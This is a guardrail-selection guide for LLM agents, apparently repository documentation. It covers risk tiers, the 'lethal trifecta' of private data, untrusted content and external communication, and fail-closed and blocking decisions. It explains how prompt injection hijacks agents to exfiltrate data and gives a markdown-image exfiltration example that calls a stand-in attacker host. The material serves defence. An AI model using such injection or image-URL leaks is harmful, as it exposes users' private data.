Guardrail Selection Decision Tree¶

TL;DR

• Select guardrails from risk, not vendor checklists. Score your users, data sensitivity, action reversibility, and untrusted content exposure first.
• Break the lethal trifecta by design. Never combine private data, untrusted content, and external communication (or, under Meta's Rule of Two, any state change) in one session without deterministic controls or human approval.
• Enforce security in deterministic code. Keep authorization, tool allowlists, SQL policies, and network egress outside the LLM prompt.
• Configure runtime behavior explicitly. Set blocking mode, sync vs async execution, fail-open vs fail-closed rules, and latency budgets per guardrail. Fail closed on every tool-enabled turn.

• You will learn:
  • How to score agent risk
  • How to run the lethal-trifecta and Rule of Two check, and which agentic threats to add
  • Required guardrails by risk tier
  • How to choose blocking, sync, and fail-closed modes
• Prerequisites: Guardrails architecture, Threat model & OWASP
• Related: Eval selection, Input guardrails, Tool & action guardrails, Access control & RBAC, Guardrail tools

1. Principles before trees¶

1. Use guardrails to control runtime behavior and evaluations to measure quality. A guardrail blocks, redacts, or escalates a request at runtime. An evaluation measures how often failures occur. You also must evaluate your guardrails for false positives and false negatives (see §9).
2. Use deterministic code for all security-critical controls. Enforce authorization, tool allowlists, SQL policies, and network egress in code or infrastructure, never in prompts.
3. Never use the LLM as an authorization layer. Telling a system prompt "do not show salaries to non-HR users" does not secure your data. Filter records using the end user's identity before data reaches the model. See Access control & RBAC.
4. Layer your defenses. Combine input, context, tool, and output controls, and assume each individual layer can fail.
5. Remove unnecessary capabilities by design. Removing an outbound HTTP tool protects your system better than trying to detect malicious requests.
6. Measure the cost of every guardrail. Every guardrail adds latency, compute cost, and false positives. Add guardrails based on risk, measure their recall and false-positive rate, and remove ineffective checks.

2. Risk assessment questionnaire¶

Score these eight questions for your agent (or for each distinct capability). Use the resulting score to assign your risk tier in §4. This section is the canonical tier definition for this repo; other pages link here.

How to score: Assign at least Tier 2 if any single answer on R2, R3, R5, or R7 scores High (2). Assign Tier 3 if you have two or more High scores, or if your agent hits the lethal trifecta or breaks the Rule of Two (§3). Otherwise sum your points: 0–4 = Tier 1, 5–9 = Tier 2, and 10+ = Tier 3. These cut-offs are starting rules of thumb. Review them with your security team.

Score each path (intent plus enabled tools) separately. Controls that gate a leg (approval, allowlists) reduce risk, but they do not lower the tier. A path moves down a tier only when you fully remove a trifecta leg for that path, because the tier decides which controls stay mandatory.

Running example: Consider our internal enterprise assistant with the nine tools in tool and action guardrails §1. It scores 1 on R1 (employees) and R8, and 2 on R2 (HR/finance tables), R3 (send_email is external and delete_ticket is irreversible), R4 (fetch_url returns web pages; wikis are employee-editable), and R5 (send_email, fetch_url, markdown links). It scores 1–2 on R6 (HR employment data) and R7. The lethal trifecta is present by default. So:

• Tier 3: HR/finance intents and every tool-enabled turn.
• Tier 2: read-only general policy Q&A that uses only search_docs over non-HR content, with no write or external tools enabled for the turn.

3. The lethal-trifecta check¶

Simon Willison's lethal trifecta warns against combining (1) private data access, (2) untrusted content exposure, and (3) external communication. An attacker can use prompt injection to hijack any agent with all three legs and exfiltrate private data.

Meta's Agents Rule of Two is a related, broader rule. Within one session, an agent may have at most two of these properties without supervision (human approval or another reliable validation):

• [A] It processes untrustworthy inputs.
• [B] It has access to sensitive systems or private data.
• [C] It can change state or communicate externally.

Leg [C] is broader than the trifecta's exfiltration leg. It includes state changes such as update_ticket or delete_ticket, so the Rule of Two also covers integrity attacks that send no data out. The tree below uses the broader [C]. See threat model §5.

flowchart TD
    A{"Agent reads private or sensitive data?"} -- No --> OK["Trifecta not present; continue to tiering"]
    A -- Yes --> B{"Untrusted content can enter the context? web, email, uploads, user-editable docs"}
    B -- No --> OK
    B -- Yes --> C{"Can it change state or communicate externally? HTTP tools, messages, shared writes, record updates, external images or links"}
    C -- No --> OK2["Two legs present; keep it that way and monitor for capability creep"]
    C -- Yes --> T["Trifecta or Rule of Two breach: Tier 3"]
    T --> F1["Option 1: remove a leg, e.g. drop outbound tool or strip external links and images"]
    T --> F2["Option 2: deterministic controls on the exfil leg, e.g. egress allowlist, human approval for outbound actions"]
    T --> F3["Option 3: architectural isolation, e.g. dual-LLM or plan-then-execute so untrusted data cannot choose actions"]
    T --> F4["Option 4: dynamic gating, e.g. taint tracking disables or requires approval for state-changing and outbound tools once untrusted content and sensitive data share the context"]
    F1 --> D["Detection guardrails such as prompt-injection classifiers are defense in depth only"]
    F2 --> D
    F3 --> D
    F4 --> D

Do not rely on classifiers alone to stop the lethal trifecta. Prompt-injection classifiers are probabilistic, and an attacker needs only one bypass to steal data. Use classifiers as telemetry and defense in depth after you fix the architecture. For secure design patterns, see Willison's Dual LLM pattern, Beurer-Kellner et al. (arXiv:2506.08837), and CaMeL (arXiv:2503.18813).

Audit your system for these six hidden exfiltration paths:

• Block or proxy markdown image rendering (![x](https://attacker/?q=SECRET)) so the browser cannot leak data via URL fetches.
• Strip or sanitize clickable links that embed sensitive data in query parameters.
• Restrict tools that fetch URLs, trigger webhooks, or send email and chat messages.
• Gate writes to shared systems (tickets, wikis, CRM notes) that other users or agents read.
• Disable outbound network access inside code execution sandboxes by default.
• Scrub sensitive fields before shipping logs or analytics to third-party services.

Running example: Our enterprise assistant reads private HR/finance data, ingests employee-editable wiki pages and fetch_url output, and can call send_email, create shared tickets, and render markdown. All three legs are present by default. The policy in tool and action guardrails §14 gates each exit:

• Disable external markdown images and restrict links to an allowlist.
• send_email: always needs approval; recipients @company.com only, at most 5; blocked when the context is tainted and sensitive.
• fetch_url: analyst and admin only, domain allowlist through an egress proxy, approval when the context holds sensitive data.
• create_ticket: fixed schema, inline preview, and one-click user confirmation, because other staff can read tickets. high priority also needs on-call approval (output guardrails §6).
• delete_ticket: admin only, with a second approver.
• Taint tracking: once untrusted content and sensitive data share the context, every T2 tool needs approval.
• Block wiki retrieval during HR/finance SQL runs.

These controls gate the legs but do not remove them, so tool-enabled turns stay Tier 3.

Agentic threats beyond the trifecta¶

The trifecta covers data exfiltration. Agents with tools, memory, and third-party servers face more threats. Map each one to an OWASP Top 10 for Agentic Applications 2026 ID and an OWASP LLM Top 10 2026 ID in your threat model:

4. Risk tiers → required guardrails¶

Map each guardrail to its OWASP Top 10 for LLM Applications 2026 and OWASP Agentic Top 10 2026 IDs in your threat model to expose gaps. If your threat model still uses 2025 IDs, use the 2025→2026 mapping.

5. Decision: blocking vs non-blocking¶

flowchart TD
    A["Candidate guardrail check"] --> B{"Would letting a violation through cause harm that cannot be undone? leak, action, legal"}
    B -- Yes --> BL["Blocking"]
    B -- No --> C{"Is the check precise enough? low false-positive rate measured on your traffic"}
    C -- No --> NB["Non-blocking: log, flag, alert, sample for review"]
    C -- Yes --> D{"Is the violation user-visible and embarrassing? toxicity, off-brand"}
    D -- Yes --> BL2["Blocking or modify: rewrite, redact, safe fallback"]
    D -- No --> NB
    BL --> E{"Is precision still low?"}
    E -- Yes --> HITL["Escalate instead of hard block: human review queue or ask user to confirm"]
    E -- No --> BL3["Hard block with clear user message"]

Follow this rollout rule: Promote every new blocking guardrail through three stages:

1. shadow: log the verdict only.
2. flag: annotate the trace and notify reviewers, but do not block.
3. block: enforce.

Promote to the next stage only when measured FPR at your real base rate and recall on the adversarial set meet the targets you set (guardrails architecture §9.4). Deterministic authorization and policy controls (ACL filters, tool allowlists, SQL policy) block from day one; shadow them only to find false blocks.

6. Decision: sync vs async¶

flowchart LR
    A{"Must it prevent the harm, not just detect it?"} -- Yes --> S["Sync"]
    A -- No --> AS["Async"]
    S --> P{"Can it run in parallel with the main LLM call?"}
    P -- Yes --> PS["Parallel sync: start with generation, cancel or replace output if it fails"]
    P -- No --> SS["Sequential sync: keep it fast, cheap, deterministic where possible"]

Use these four techniques to reduce synchronous latency:

• Run input classifiers in parallel with retrieval or the initial LLM call, and abort the response if a check fails.
• Buffer the first $N$ tokens or sentences when streaming, or disable token streaming on high-risk intents because you cannot un-send streamed tokens.
• Gate tool calls right before execution using fast, deterministic schema and policy checks.
• Use regexes, parsers, and small classifiers instead of LLM judges in the synchronous hot path.

7. Decision: fail-open vs fail-closed¶

Decide how each guardrail behaves when the check itself throws an error or times out.

flowchart TD
    A{"Guardrail protects confidentiality, authorization, or actions?"} -- Yes --> FC["Fail-closed"]
    A -- No --> TE{"Is the turn tool-enabled?"}
    TE -- Yes --> FCT["Fail-closed, or route the turn to a no-tools mode"]
    TE -- No --> B{"Tier 3 or high-stakes intent? HR, finance, security, regulated"}
    B -- Yes --> FC
    B -- No --> FO["Fail-open with flag, alerting and logging: read-only, low-risk Q&A only"]

This tree matches the canonical table in guardrails architecture §5.5.

Avoid accidental fail-open defaults: Integration code often lets a timeout or exception skip the check, which allows the request by default. Inspect your client timeout and error handling, and test failure behavior explicitly.

8. Latency budget allocation¶

Set an overall p95 latency target for your user interaction and allocate a budget to each layer. The canonical per-layer budgets are in guardrails architecture §5.1. This table repeats them as starting rules of thumb; calibrate them on your system:

Optimization tip: Scan static documents for prompt injections at indexing time and store the flag in metadata. Scan only dynamic content (web pages, emails, live tool outputs) at query time.

9. Measuring guardrails: false positives matter¶

Treat every guardrail as a binary classifier and measure its performance offline and online.

The canonical definitions and threshold method are in guardrails architecture §9. For tool guardrails, also track unsafe action attempt and execution rates, false block rate, approval rate, and budget breach rate (tool guardrails §15). Report attack success rate together with benign task success.

Maintain two evaluation datasets for every guardrail: an adversarial set and a benign-but-tricky set. Size them for the claim you want to make: zero misses in n attacks bounds the miss rate at about 3/n (rule of three), so count distinct attack families, not mutations. Include legitimate queries that look suspicious, such as "how do I reset a user password?" in an IT helpdesk bot. See Generation quality & safety evals and Threat model.

def guardrail_report(results):
    # results: list of (is_attack: bool, was_blocked: bool)
    tp = sum(a and b for a, b in results)
    fn = sum(a and not b for a, b in results)
    fp = sum((not a) and b for a, b in results)
    tn = sum((not a) and (not b) for a, b in results)
    return {
        "recall": tp / (tp + fn) if tp + fn else None,
        "fpr": fp / (fp + tn) if fp + tn else None,
        "precision": tp / (tp + fp) if tp + fp else None,
    }

10. Build vs buy¶

Check these six criteria before adopting any vendor or open-source guardrail:

• Verify that you can run the guardrail in shadow mode and measure recall and false-positive rate on your own data.
• Measure p95 latency at your target query volume and confirm whether you can self-host the model.
• Confirm data routing, retention policies, and compliance certifications.
• Check whether timeout and error handling support explicit fail-open and fail-closed configuration.
• Verify support for custom policy categories and your required languages.
• Check whether blocked requests return clear explanations and structured audit logs.

See Guardrail tools for a comparison of available tools.

11. Per-archetype recommended guardrail stack¶

These archetypes match eval selection §2. In the tables below, B = blocking, NB = non-blocking, S = synchronous, and A = asynchronous.

11.1 A1: Simple RAG chatbot¶

11.2 A2: Agentic RAG with tools¶

11.3 A3: Text-to-SQL agent¶

11.4 A4: Multi-agent / multi-step¶

11.5 A5: Multi-turn conversational¶

11.6 Running example: final guardrail stack¶

12. Combined decision tree (one page)¶

This tree composes §2, §3, §4, §5, §7, and §8. When a node here and a section disagree, the section wins.

flowchart TD
    S["New agent or new capability"] --> RA["Score each path with R1-R8 (§2)"]
    RA --> LT{"Trifecta or Rule of Two breach? (§3)"}
    LT -- Yes --> FIX["Remove a leg, gate it deterministically, isolate untrusted data, or add taint-based gating"]
    FIX --> RM{"Leg fully removed for this path?"}
    RM -- No --> T3["Tier 3"]
    RM -- Yes --> SC
    LT -- No --> SC["Apply §2 scoring rules"]
    SC --> TIER["Tier 1, 2 or 3"]
    T3 --> TIER
    TIER --> AG["Add agentic threat controls that apply: MCP supply chain, memory, multi-agent, budgets (§3)"]
    AG --> REQ["Apply required controls from the tier table (§4)"]
    REQ --> EACH["For each guardrail"]
    EACH --> Q1{"Must it prevent the harm, or only detect it? (§6)"}
    Q1 -- Detect --> ASYNC["Async, non-blocking"]
    Q1 -- Prevent --> DET{"Deterministic authz or policy control?"}
    DET -- Yes --> BLK["Sync, block from day one"]
    DET -- No --> SH["Sync; roll out shadow, then flag, then block when FPR and recall meet targets; escalate to a human if precision stays low (§5)"]
    BLK --> FM
    SH --> FM
    ASYNC --> FM{"Protects authz, data or actions; tool-enabled turn; or Tier 3 intent? (§7)"}
    FM -- Yes --> CLOSED["Fail-closed, or no-tools mode for tool-enabled turns"]
    FM -- No --> OPEN["Fail-open with flag and alerting"]
    CLOSED --> LAT["Check latency budget (§8)"]
    OPEN --> LAT
    LAT --> RT["Red team; measure recall, FPR and benign task success before launch (§9)"]

Key takeaways¶

• Score your system with the risk questionnaire (users, data, actions, untrusted content, exfiltration paths, regulation, blast radius, autonomy) before picking guardrails.
• Redesign your architecture if private data, untrusted content, and external communication coexist. Classifiers provide defense in depth only.
• Enforce authorization, tool allowlists, and SQL policies in deterministic code and infrastructure, never in the LLM prompt.
• Score each path separately. The running example is Tier 3 for HR/finance intents and every tool-enabled turn; gating a leg does not lower the tier.
• Add controls for agentic threats beyond the trifecta: MCP supply chain, memory poisoning, multi-agent messages, approval fatigue, and denial of wallet.
• Block synchronously only when detections are precise or actions are irreversible, and promote new guardrails through shadow (log only) → flag (annotate and notify) → block (enforce).
• Fail closed for authorization, actions, tool-enabled turns, and Tier 3 intents. Fail open with a flag only for read-only, low-risk Q&A.
• Allocate a latency budget per layer, scan static documents at indexing time, and gate tool calls before execution.
• Measure recall and false-positive rate for every guardrail using both adversarial and benign-but-tricky datasets.

Further reading¶

• Simon Willison, The lethal trifecta for AI agents, The Dual LLM pattern
• Meta AI, Agents Rule of Two: A Practical Approach to AI Agent Security
• Beurer-Kellner et al., Design Patterns for Securing LLM Agents against Prompt Injections (arXiv:2506.08837)
• Debenedetti et al., Defeating Prompt Injections by Design (arXiv:2503.18813)
• OWASP, Top 10 for LLM Applications 2026, Top 10 for Agentic Applications 2026, Agentic AI – Threats and Mitigations
• Invariant Labs, MCP Security Notification: Tool Poisoning Attacks
• NIST, AI Risk Management Framework, Generative AI Profile (NIST AI 600-1)
• Microsoft, Lessons From Red Teaming 100 Generative AI Products (arXiv:2501.07238)
• In this repo:
  • Guardrails section
  • Guardrail tools